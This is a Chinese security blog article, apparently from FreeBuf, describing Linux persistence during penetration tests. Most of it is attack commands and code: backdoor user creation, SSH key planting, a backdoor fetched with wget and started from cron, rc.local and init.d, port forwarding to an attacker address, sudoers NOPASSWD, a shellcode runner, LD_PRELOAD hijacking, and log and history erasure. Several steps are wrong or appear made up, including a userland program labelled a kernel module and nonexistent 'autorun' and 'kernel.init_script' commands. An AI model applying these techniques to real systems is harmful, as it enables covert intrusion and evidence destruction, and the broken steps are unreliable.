freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux持久化实操
2022-12-12 12:12:15
所属地 江苏省

BIOS启动

BIOS(Basic Input Output System),可以理解为是烧录到计算机内主板上的一段程序(主板上的一个黑色的小芯片),这个程序它可以读写COMS中保存的硬件信息。在以前的BIOS是写死的,不能修改这个程序;但现在随着NvRAM的普及,BIOS程序可以修改了,于是就可以写后门进去了。**

a、加电后,BIOS程序首先运行,BIOS程序会检查计算机硬件是否良好,硬件若有问题,严重的问题,BIOS就直接让计算机停机,不严重的问题,用不同的声音来表示不同位置的不同问题,这也就是很多搞计算机维修的师傅说的听音辨位。

b、硬件自检过后,BIOS程序再读取COMS中保存的硬件信息和实际的硬件信息对比,如果不符合,则影响系统启动。

c、加载引导记录(引导记录也就是MBR),此时会读取硬盘第一扇区0头0道1扇区中的保存的引导记录,然后就把计算机控制权转交给引导记录了,BIOS开机流程结束

因为NvRAM的普及BIOS程序是可以修改的,所以可以把特制的后门写入BIOS程序中。但是只有获得了电脑的物理访问权限,才能植入 BIOS 后门。现在的BIOS后门大多是第三方或者刷BIOS的老哥们搞的。

Bootloader引导

MBR中保存着Bootloader,常见的Bootloader有 GRUB、bootmgr、u-boot等

Linux中常用的是GRUB

GRUB一般分两步加载内核,第一步加载文件系统驱动,第二步读取/boot上的文件,根据/boot/grub/grub.conf配置加载/boot/initrd* 文件(这里面放了一堆的驱动文件)和加载/boot/Vmliunz*内核文件

initrd加载到内存中会伪装成一个伪rootfs,运行伪rootfs下的脚本文件/init,/init会加载真正的根文件系统需要的驱动,然后加载真rootfs。执行真正的根文件系统中的 /sbin/init 进程。

一般这里有三个地方可以配置后门:

其一,MBR后门;修改硬盘第一扇区0头0道1扇区中的引导记录。(极难发现)

**其二,修改原本的/boot/initrd文件,在其中修改原本的驱动模块(加料)或者增加一个的后门驱动模块。*

其三,直接修改/boot/Vmliunz*内核文件(加料)~~

init初始化

计算机控制权交给了初始化程序init,init会根据/etc/inittab中定义的系统运行级别等动作来进行脚本执行。

init第一个被执行的脚本为/etc/rc.d/rc.sysinit 。这个脚本大概的作用是如激活udev和selinux,装载硬盘映射,挂载其他文件系统等 。另外它还提供了两个模块加载的地方,实现模块自启动,redhat/centos系列的是/etc/rc.modules和/etc/sysconfig/modules/*.modules Debian/Ubuntu/kali系列的是 /etc/modules。除此之外,模块的启动大多数情况下,要依赖于服务启动和其他启动脚本,这是不同于windows的。centos系列下还存在一种在线向initrd内部更新驱动模块的方法,可在/etc/initramfs-tools/modules文件中添加相应模块的模块名及其参数,然后用update-initramfs-u -k命令进行更新。

init会根据定义的启动级别去执行相应目录下的脚本,在不同的运行级别下,/etc/rc.d/rc这个脚本会分别执行不同目录下的脚本.

chkconfig –list查看

最后执行/etc/rc.d/rc.local这个脚本,至此,系统启动完成。

**上述较为硬核,下面来看点易上手的。

由于渗透测试涉及到的操作系统、用户账号和配置文件等内容可能不同,所以在渗透测试过程中维持权限和持久化的具体操作方式也会有所不同。 下面是一些具体的例子,来说明如何使用代码在渗透测试过程中维持权限和持久化。**

持久化基操

如下命令实现这一些持久化基本操作:

# 使用 useradd 命令创建新用户

useradd -m -p <password> -g <group> -s <shell> <username>

# 使用 id 命令检查新用户的权限

id <username>

# 使用 groupadd 命令创建新组

groupadd <groupname>

# 使用 id 命令检查新组的权限

id -Gn <username>

#插个公钥
cat  id_rsa_2048.pub >>  /root/.ssh/authorized_keys
chmod 644  /root/.ssh/authorized_keys

# 使用 sed 命令修改 /etc/passwd 文件替换root用户为user1用户

sed -i 's/user1/root/g' /etc/passwd

#先使用openssl生成一个用md5加盐生成的一个hash

openssl passwd -1 -salt saltvalue password

#再使用sed命令在最后一行的前一行增加一个新用户

sed -i '$ i\username:md5(password):uid:gid:,,,:\/home\/username:\/bin\/bash' /etc/passwd

# 使用 id 命令检查用户账号是否已经修改

id

#若root用户不能登录,攻击者可以修改 SSH 配置文件,设置 SSH 服务器允许连接的用户名和密码
# 使用 sed 命令修改 /etc/ssh/sshd_config 文件

sed -i 's/#PermitRootLogin yes/PermitRootLogin yes/g' /etc/ssh/sshd_config

# 重启 SSH 服务

service ssh restart

# 使用 SSH 客户端连接到目标系统,w命令查寻不到登录用户

ssh -T user1@example.com /bin/bash -i

#bash_history不记录历史命令

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

创建计划任务

通过计划任务,攻击者可以设定在某个时间或某种特定条件下,运行后门程序或其他指定的命令。 这样,即使目标系统重启,攻击者也可以在指定的时间或条件下,通过计划任务继续访问目标系统。

例如,可以使用如下代码来创建计划任务:

# 下载后门程序

wget https://example.com/backdoor.exe -o /usr/bin/backdoor.exe

#修改权限

chmod +x /usr/bin/backdoor.exe

# 使用 crontab 命令创建计划任务,这样,在用户登录后,系统就会自动启动终端程序。

crontab -e
@reboot /usr/bin/backdoor.exe

# 使用 crontab 命令创建计划任务,这样,每天凌晨 2 点运行后门程序

crontab -e
0 2 * * * /root/backdoor.exe

说到计划任务,插个题外话:

我们在搞渗透的时候,可能会遇到一些具有任意文件上传或者写入的漏洞,可以把文件上传或写入到到目标的任意路径下,例如nfs、redis、rsync、具有类似功能的web应用等。如果目标是windows直接写到启动目录或者mof文件即可;若是linux可写到**.bashrc,.ssh/authorized_keys,/etc/crontab,/etc/cron.d/,/var/splool/cron这些位置。但是写入到计划任务的利用手法其中却有很多坑。众所周知,linux计划任务有三处主要文件/etc/crontab、/etc/cron.d/、/var/spool/cron/(Debian / Ubuntu 系列为 /var/spool/cron/crontabs/)**。

其中/etc/crontab和/etc/cron.d/是系统的计划,/var/spool/cron/是用户的计划。我们平常执行的crontab -l 看到的其实是/var/spool/cron/下的东西,攻击者通常在这三个地方添加计划任务。但是这三个地方的计划任务添加了,却不一定能执行。因为它们对权限的要求很高,比如**/etc/cron.d 这个目录必须具有执行(x)权限才能定时执行,/var/splool/cron这个目录想要执行就不能有写(w)权限。**

umask #查看系统默认权限

  1. 文件最高权限为666

  2. 目录最高权限为777

  3. 权限换算,使用的是最高权限点减去默认的权限;
    eg:当前默认权限为022,那么创建的文件权限就是最高权限减去默认权限:666 减去 022 那么创建的文件权限默认为644(wr--r--r-)

  4. umask定义的权限,是系统默认权限中准备丢弃的权限如022(----w--w-)

打个比方:

有一个mysql数据库的注入点,mysql是以双root权限运行的,并且没有魔法字符的干扰,也没有secure_file_priv的限制,可以向服务器任意地方写文件,那么你写进这三个计划任务的地方就能得到rootshell吗?

答案是否定的,为什么?

  1. /etc/crontab 遗憾的是mysql不具有覆盖性,这个文件本身已存在,所以不行

  2. /etc/cron.d 我们说下mysql默认的umask(掩码),默认是022,666-022是644,注意linux新文件的创建满格就是666而不是777,天生不具有执行权限,所以644权限,/etc/cron.d那自然是不让执行的了

  3. /var/splool/cron 这个不能具有w权限,而644(rw-r--r--),有写权限,所以也是不行的了

修改系统配置文件

渗透测试者可以修改自启动配置文件,让后门程序在系统启动时自动运行。

例如,可以使用如下命令来实现这一操作:

# 下载后门程序

wget https://example.com/backdoor.exe -o /usr/bin/backdoor.exe

#修改权限

chmod +x /usr/bin/backdoor.exe

#使用 echo 命令在 /etc/rc.local 文件末尾添加一行启动后门程序的命令 

echo "/usr/bin/backdoor.exe" >> /etc/rc.local

# 使用 chmod 命令修改 /etc/rc.local 文件的权限,使其可以被执行

chmod +x /etc/rc.local

# 重启系统,检查后门程序是否正常运行

reboot

自启动脚本

还有一种持久化方式是添加自启动脚本,让后门程序在系统启动时自动运行。 与修改自启动配置文件的方式类似,添加自启动脚本也可以让攻击者在目标系统重启后继续访问目标系统。

例如,可以使用如下代码来添加自启动脚本:

# 使用 echo 命令在 /etc/init.d 目录下创建名为 backdoor 的自启动脚本

echo "#!/bin/sh" >> /etc/init.d/backdoor
echo "/usr/bin/backdoor.exe" >> /etc/init.d/backdoor

# 使用 chmod 命令修改自启动脚本的权限,使其可以被执行

chmod +x /etc/init.d/backdoor

#update-rc.d用于Debian和Ubuntu系统,chkconfig用于Red Hat和CentOS系统。

# 使用 update-rc.d 命令将自启动脚本添加到自启动项中

update-rc.d backdoor defaults

# 使用 chkconfig 命令设置服务的开机自启动

chkconfig <service_program> on

# 使用 chkconfig 命令检查开机启动项是否已经添加

chkconfig --list

# 重启系统,检查后门程序是否正常运行

reboot

修改系统防火墙规则

攻击者可以修改系统防火墙规则,设置允许连接的 IP 地址或端口。 这样,攻击者也可以通过防火墙允许的 IP 地址或端口连接到目标系统,从而维持权限。

例如,可以使用如下代码来修改系统防火墙规则:

# 使用 iptables 命令添加防火墙规则

iptables -A PREROUTING -t nat -p tcp -d <target_ip> --dport <target_port> -j DNAT --to-destination <attacker_ip>:<attacker_port>

# 使用 iptables-save 命令保存防火墙规则

iptables-save > /etc/iptables.rules

# 使用 iptables 命令检查防火墙规则

iptables -L -n

# 重启系统,检查防火墙规则是否生效

reboot

加载内核模块

攻击者可以加载自定义的内核模块,从而在系统启动时自动运行指定的程序。 这样,即使目标系统重启,攻击者也可以通过内核模块自动运行后门程序,从而维持权限。

例如,可以使用如下代码来加载内核模块:

首先,创建一个新的目录,用于存放内核模块的源代码和Makefile文件。例如,假设要创建一个名为"sample"的目录,可以使用以下命令:

mkdir sample在"sample"目录中,创建一个名为"sample.c"的文件,用于编写内核模块的源代码。例如,可以在"sample.c"文件中编写如下代码:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 定义shellcode
    char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

    int (*func)();
    size_t len = sizeof(shellcode);

    // 动态分配内存,用于存储shellcode
    char *buffer = (char *)malloc(len);
    if (!buffer) {
        printf("Failed to allocate memory for shellcode\n");
        return -1;
    }

    // 复制shellcode到分配的内存中
    memcpy(buffer, shellcode, len);

    // 将func指针指向shellcode的地址,并执行shellcode
    func = (int (*)())buffer;
    (*func)();

    // 释放内存
    free(buffer);

    return 0;
}

上面的代码定义了一个名为"sample"的内核模块。

在"sample"目录中,创建一个名为"Makefile"的文件,用于指定如何编译内核模块。

例如,可以在"Makefile"文件中编写如下代码:

obj-m += sample.o

all:

  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

上面的代码指定了如何编译内核模块"sample.o"。

用"make"命令编译内核模块。例如,可以在"sample"目录下执行以下命令来编译内核模块:

make

如果编译成功,会在"sample"目录下生成一个名为"sample.ko"的文件,即内核模块的可执行文件。

安装内核模块。可以使用"insmod"命令将内核模块安装到系统中,例如:

insmod sample.ko

执行完上面的命令后,内核模块"sample.ko"就安装到系统中了,系统会在启动时自动执行"sample.ko"中的代码。

测试内核模块。可以使用"lsmod"命令来查看系统中当前加载的内核模块,例如:

lsmod

如果内核模块"sample.ko"安装成功,则会在输出中看到"sample"这个模块。

卸载内核模块。如果不再需要内核模块"sample.ko",可以使用"rmmod"命令将它卸载,例如:

rmmod sample.ko

执行完上面的命令后,内核模块"sample.ko"就从系统中卸载了。

# 使用 insmod 命令加载自定义的内核模块

insmod /root/backdoor.ko

# 使用 lsmod 命令检查内核模块是否已经加载

lsmod

# 使用 echo 命令将模块添加到开机自启动列表

echo "<module_program>" >> /etc/modules

sudo 配置文件

攻击者可以修改 sudo 配置文件,设置指定用户可以使用 sudo 命令执行任意命令。

例如,可以使用如下代码来修改 sudo 配置文件:

# 使用 sed 命令修改 /etc/sudoers 文件

sed -i 's/%sudo   ALL=(ALL:ALL) ALL/%sudo   ALL=(ALL:ALL) NOPASSWD:ALL/g' /etc/sudoers

# 使用 sudo 命令运行任意命令,检查是否可以使用 sudo 无密码执行命令

sudo whoami

环境变量文件

攻击者可以修改环境变量文件,设置在用户登录时自动运行指定的程序。 这样,即使目标系统重启,攻击者也可以通过登录脚本自动运行后门程序,从而维持权限。 例如,可以使用如下代码来修改登录脚本:

# 使用 echo 命令将后门程序添加到 .bash_profile 文件

echo "/root/backdoor &" >> ~/.bash_profile

#常见的环境变量文件:

/etc/environment:该文件用于设置系统级环境变量。这些环境变量对整个系统都有效,并且在系统启动时加载;系统使用此文件时并不是直接执行此文件中的命令。

/etc/profile:该文件包含系统级别的 shell 脚本,在用户登录时执行。

/etc/bash.bashrc或/etc/bashrc:该文件包含系统级别的 shell 脚本,每次打开新的 shell 环境时执行。

/etc/profile.d 目录中的脚本文件来定义环境变量。这些脚本文件通常以 .sh 为扩展名,在用户登录时自动执行。

~/.bash_aliases:该文件包含用户级别的 shell 别名,每次打开新的 shell 环境时执行。

~/.profile :该文件包含个人 shell 脚本,在用户登录时执行。

~/.bash_profile :该文件包含个人 shell 脚本,在用户登录时执行。

~/.bashrc :该文件包含个人 shell 脚本,每次打开新的 shell 环境时执行。

~/.bash_logout :该文件包含个人 shell 脚本,退出 shell 环境时执行。

~/.bash_login :该文件包含个人 shell 脚本,打开shell 环境时执行。

#任何程序都可能执行自己home目录的rc文件,比如我们可以在这些rc文件里写入执行代码等等

安装自启动程序

攻击者可以安装自启动程序,设置在系统启动时自动运行指定的程序。 这样,即使目标系统重启,攻击者也可以通过自启动程序自动运行后门程序,从而维持权限。

例如,可以使用如下代码来安装自启动程序:

# 使用 apt-get 命令安装自启动程序

apt-get install autorun

# 使用 autorun 命令添加自启动项

autorun add /root/backdoor

# 使用 autorun 命令检查自启动项是否已经添加

autorun list

修改内核参数

攻击者可以修改内核参数,设置内核在启动时自动运行指定的程序。 这样,即使目标系统重启,攻击者也可以通过内核参数自动运行后门程序,从而维持权限。

例如,可以使用如下代码来修改内核参数:

# 使用 sysctl 命令添加内核参数

sysctl -w kernel.init_script="/root/backdoor"

# 使用 sysctl 命令查看内核参数

sysctl kernel.init_script

共享库劫持

共享库加载顺序:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib

先准备个共享库的后门文件:

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <sys/stat.h>
#define BUFFER_SIZE 100
#define COMMAND_NUM 5
int check_file_line(char * filename){
        int file_line = 0;
        char buffer[BUFFER_SIZE];
        FILE *fp = NULL;
        fp = fopen(filename,"r");
        if(fp==NULL){
                return file_line;
        }

        while(fgets(buffer,BUFFER_SIZE,fp)!= NULL){
                file_line ++;
        }
        fclose(fp);
        return file_line;
}

void add_file_line(char * filename){
        FILE * fp = NULL;
        fp = fopen(filename,"a+");
        if(fp == NULL){
                return;
        }

        fputs("1\n",fp);
        fclose(fp);
}

void call_system(){

  system("touch /tmp/1212121212");

}

int puts(const char *message) {
  char * filename = "/tmp/err.log";
  int (*new_puts)(const char *message);
  int result;
  int file_lines = 0;
  new_puts = dlsym(RTLD_NEXT, "puts");
  add_file_line(filename);
  file_lines = check_file_line(filename);
  if(file_lines % COMMAND_NUM == 0){
        call_system();
  }
  result = new_puts(message);
  return result;
}

编译共享库

gcc test.c -o /etc/test.so -fPIC -shared -ldl -D_GNU_SOURCE

直接修改LD_PRELOAD环境变量或配置文件/etc/ld.so.preload,命令如以下:

export LD_PRELOAD=/etc/test.so或者echo "/etc/test.so" >> /etc/ld.so.preload

成了。每次Linux系统调用puts函数,都会执行我们的命令touch /tmp/1212121212

修改系统日志记录

攻击者可以修改系统日志记录,使得系统日志不记录指定的操作。 这样,即使目标系统重启,攻击者的操作也不会被记录在系统日志中,从而隐藏自己的行为。

例如,可以使用如下代码来修改系统日志记录:

# 使用 sed 命令修改 /etc/rsyslog.conf 文件

sed -i 's/^*.info;mail.none;authpriv.none;cron.none/:msg,contains,"attacker" ~ /g' /etc/rsyslog.conf

# 使用 logger 命令向系统日志发送信息,检查是否可以隐藏日志

logger "attacker"

# 使用 sed 命令删除当天日志

sed  -i '/当天时间/'d  /var/log/messages

修改系统时间

攻击者可以修改系统时间,使得系统时间与真实时间不同步。 这样,即使目标系统重启,攻击者的操作也不会与系统日志中的时间对应,从而隐藏自己的行为。

例如,可以使用如下代码来修改系统时间:

# 使用 date 命令设置系统时间

date -s "2022-12-09 12:00:00"

# 使用 date 命令检查系统时间是否已经修改

date

最后

在渗透测试过程中,攻击者可能会修改目标系统的状态,从而导致目标系统无法正常工作。 为了避免这种情况,攻击者需要在完成渗透测试后尽快恢复目标系统的状态,以便目标系统可以恢复正常工作。

例如,攻击者可以使用如下代码来恢复目标系统的状态:

# 删除新用户
userdel <username>

# 删除新组
groupdel <groupname>

# 恢复内核参数
sysctl -w kernel.init_script=""

# 恢复防火墙规则
iptables -D PREROUTING -t nat -p tcp -d <target_ip> --dport <target_port> -j DNAT --to-destination <attacker_ip>:<attacker_port>

# 恢复系统日志记录
sed -i 's/^:msg,contains,"attacker" ~ /^*.info;mail.none;authpriv.none;cron.none/g' /etc/rsyslog.conf

# 恢复系统时间
# 渗透测试 # 系统安全 # 内网渗透 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录